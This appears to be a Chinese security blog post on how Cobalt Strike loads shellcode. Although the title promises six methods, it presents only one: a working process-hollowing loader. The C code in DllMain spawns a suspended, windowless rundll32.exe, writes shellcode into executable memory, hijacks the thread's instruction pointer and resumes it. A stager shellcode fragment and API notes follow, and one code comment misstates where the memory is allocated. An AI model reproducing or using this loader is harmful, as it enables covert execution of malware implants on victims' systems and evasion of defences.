解析CobaltStrike加载Shellcode的6种姿势

傀儡进程注入

代码部分

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
DWORD nFileSize = 266271; //shellcode 长度
LPVOID ScAddress = abcd; //shellcode 地址

PROCESS_INFORMATION ProcessInformation;//新进程的各个数据
STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;//记录当前进程的上下文
SIZE_T DwWrite = 0;//记录shellcode实际传入数据长度
memset(&StartupInfo, 0, sizeof(StartupInfo));//初始化为0
StartupInfo.cb = sizeof(StartupInfo);//设置大小
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | CREATE_NO_WINDOW, 0, 0, &StartupInfo, &ProcessInformation);//创建一个进程(这里写的是rundll32.exe)
if (result)
{
  Context.ContextFlags = CONTEXT_CONTROL;//它的作用是将结构体Context的ContextFlags成员变量设置为CONTEXT_CONTROL。
  GetThreadContext(ProcessInformation.hThread, &Context);//诉GetThreadContext函数只获取线程的控制状态。具体来说,这个函数会将线程的控制寄存器的值存储在结构体Context的成员量中,以便后续的操作使用。
  v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, nFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//在当前进程中生成一块shellcode大小的内存
  WriteProcessMemory(ProcessInformation.hProcess, v24, ScAddress, nFileSize, &DwWrite);//将shellcode写入到指定进程中
  Context.Rip = (DWORD64)v24;//将接下来运行得地址设置为shellcode的地址
  SetThreadContext(ProcessInformation.hThread, &Context);//设置新线程的上下文
  ResumeThread(ProcessInformation.hThread);//运行shellcode
  CloseHandle(ProcessInformation.hThread);
  CloseHandle(ProcessInformation.hProcess);
}

TerminateProcess(GetCurrentProcess(), 0);

return TRUE;
}

结构体解析

  1. PROCESS_INFORMATION:包含有关新创建的进程及其主线程的信息。
  2. STARTUPINFOA:指定了新进程的窗口站、桌面、标准句柄和主窗口外观。
  3. CONTEXT:包含特定于处理器的寄存器数据。系统使用CONTEXT结构执行各种内部操作。

函数解析

  1. CreateProcessA:创建新进程及其主线程。
  2. GetThreadContext:检索指定线程的上下文。
  3. SetThreadContext:设置指定线程的上下文。
  4. ResumeThread:递减线程的挂起计数,使线程执行恢复。
  5. TerminateProcess:终止指定进程及其所有线程。

注意事项

  1. 注意开发环境:任何开发环境均可。
  2. Shellcode格式:确保Shellcode按照正确格式提供,例如:

unsigned char shellcode[] =
“\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b”
“\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0”;

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容